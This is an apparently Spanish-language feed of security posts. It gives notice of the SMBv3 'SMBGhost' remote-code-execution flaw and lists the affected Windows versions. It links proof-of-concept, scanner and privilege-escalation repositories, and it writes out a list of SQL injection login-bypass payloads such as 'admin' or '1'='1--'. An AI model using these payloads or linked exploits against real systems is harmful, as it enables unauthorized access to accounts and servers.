⚠️ Critico

🚨 Ejecución de código remoto (RCE) en SMBv3.

Microsoft Server Message Block 3.1.1 (SMBv3)


‼️Afectación en:


- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)

 
❕Mas info: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV200005

Apache Shiro RCE Via RememberMe Padding Oracle Attack

https://github.com/3ndz/Shiro-721

SMBv3 💀

https://www.facebook.com/977786685625713/posts/3656158854455136/

Patch SMB v3 ( CVE-2020-0796 - SMBv3 RCE.)

https://www.facebook.com/tpx.mx/videos/627120161184852/

Scanner for CVE-2020-0796 - A SMBv3.1.1 + SMB compression RCE
#SMBGhost

https://github.com/ioncodes/SMBGhost

Another PoC:
https://github.com/eerykitty/CVE-2020-0796-PoC

Payloads para sql inyection login bypass.

‘’’’

' or ''-'
" or ""-"
" or true--
' or true--
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*

💳 ⚠️

https://www.soyacincau.com/2020/03/10/cybersecurity-technisanct-malaysia-singapore-philippines-credit-cards-leaked-data-breach-skg/

Cuando te piden que les enseñes a juackear!!! 😂

Sound Research SECOMN service Privilege Escalation (windows 10)

https://github.com/sailay1996/SECOMN_EoP

:V jajaja